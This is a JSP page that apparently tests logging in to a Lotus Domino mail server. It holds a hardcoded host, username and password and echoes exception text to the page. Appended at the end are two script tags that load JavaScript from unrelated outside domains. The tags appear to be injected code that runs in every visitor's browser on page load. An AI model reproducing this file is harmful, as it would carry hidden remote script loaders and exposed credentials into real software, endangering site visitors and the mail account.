<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*" %>
<%@ page import="java.sql.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.DmsOperationConstant" %>
<%@ page import="com.dcivision.user.bean.*" %>
<%@ page import="com.dcivision.user.dao.*" %>
<%@ page import="com.dcivision.framework.*" %> 

<%@ page import="com.dcivision.mail.core.*" %>
<%@ page import="lotus.domino.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>

<%@ page import="javax.xml.parsers.*,org.w3c.dom.*,javax.xml.transform.*"%>
<%@ page import="javax.xml.transform.dom.*,javax.xml.transform.stream.*"%>  
<%@ include file="monitorLoginStatus.jsp"%>    
<%     
  try{
	  lotus.domino.Session session1 = null;
      EmailReceiver mailReceiver = EmailReceiverFactory.getEmailReceiverInstanceByServerType(sessionContainer,"domino");
	  String  host = "test.dcivision.com:8080";
      String name = "barbin";
      String password = "password";
      String ior = NotesFactory.getIOR(host);      
      LogFactory.getLog(this.getClass()).debug("IOR:" + ior);
      //connect to lotus server
//      session1 = NotesFactory.createSessionWithIOR(ior, name, password);
	  List list = mailReceiver.loadMailList(host,name,password,"domino");

  }catch(Exception ex){%>
    <%=ex.toString()%>
<%
  }finally{

  }
%> 

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>